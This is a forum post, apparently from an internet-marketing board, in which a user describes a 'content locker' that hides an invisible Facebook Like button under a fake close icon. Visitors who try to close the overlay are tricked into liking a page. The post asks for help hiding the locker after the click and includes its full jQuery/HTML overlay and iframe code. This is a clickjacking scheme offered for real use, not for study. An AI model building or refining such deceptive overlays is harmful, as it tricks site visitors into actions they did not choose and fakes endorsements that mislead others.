todor
Regular Member
- Feb 7, 2011
- 395
- 219
I put a simple content locker, that iframe another page with invisible FB like button. There is imaginary close icon in upper left corner, so when user click on this "close" icon, he actually hits like button.
The problem is the whole locker is iframed and I can't make it disappear when user clicks the fake close button.
Look to see what I mean (of course Like button will be invisible, here it can be seen just to show it):
Content locker code:
The problem is the whole locker is iframed and I can't make it disappear when user clicks the fake close button.
Look to see what I mean (of course Like button will be invisible, here it can be seen just to show it):
Content locker code:
Code:
<html>
<head>
<script src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var Delay = 0;//Seconds after them clicking the link, the gateway vanishes.
function setupgateway()
{
var Left = $(window).width() /2;
Left = Left - $('#gatewaydiv').width()/2;
var Top = $(window).height() /2;
Top = Top - $('#gatewaydiv').height()/2;
$('#gatewaydiv').css('top', Top+'px').css('left', Left+'px').css('display', 'inline');
$('#gatewayDimmer').width($('html').width());
$('#gatewayDimmer').height($('html').height());
$('#gatewayDimmer').css('display','block');
}
function removegateway()
{
$('#gatewaydiv').css('display', 'none');
$('#gatewayDimmer').css('display','none');
}
$(document).ready(function()
{
$('#someid').click(function()
{
setTimeout('removegateway()', Delay*1000);
});
setupgateway();
});
</script>
<style>
body
{
background-image:url('http://i41.tinypic.com/29zvocy.jpg');
background-repeat:repeat;
height:100%;
margin:0;
}
#mainContent
{
background-color:white;
margin-left:auto;
margin-right:auto;
margin-top:30px;
width:700px;
border:3px solid #CDCDCD;
text-align:center;
}
#gatewaydiv
{
background-image:url("http://i41.tinypic.com/2znsvti.png");
background-repeat:no-repeat;
width:500px;
height:300px;
padding:20px;
position:absolute;
display:none;
background-color:#FFFFFF;
border:solid 4px gray;
text-align:center;
font-family:arial;
}
#gatewaydiv h1
{
font-size:35px;
color:#cc0000;
}
#gatewayMessage
{
font-size:18px;
}
.offerlink
{
color:red;
font-weight:bold;
}
#OfferList
{
margin:0;
padding:0;
}
#OfferList
{
list-style:none;
}
#gatewayDimmer
{
background-color:#000000;
opacity:0.8;
display:none;
position:absolute;
top:0;
}
</style>
<script language="javascript"><!--
document.myform.submit()
//-->
</script>
</head>
<body>
<div id="gatewayDimmer">
</div>
<div id="gatewaydiv">
<iframe id="someid" src="http://mydomain/anotherpage.php" frameborder="no" framespacing="0" border="0" width="100%" height="100%">
<p>Your browser does not support iframes.</p>
</iframe>
</div>
The rest of your landing page html code goes here
</body>
</html>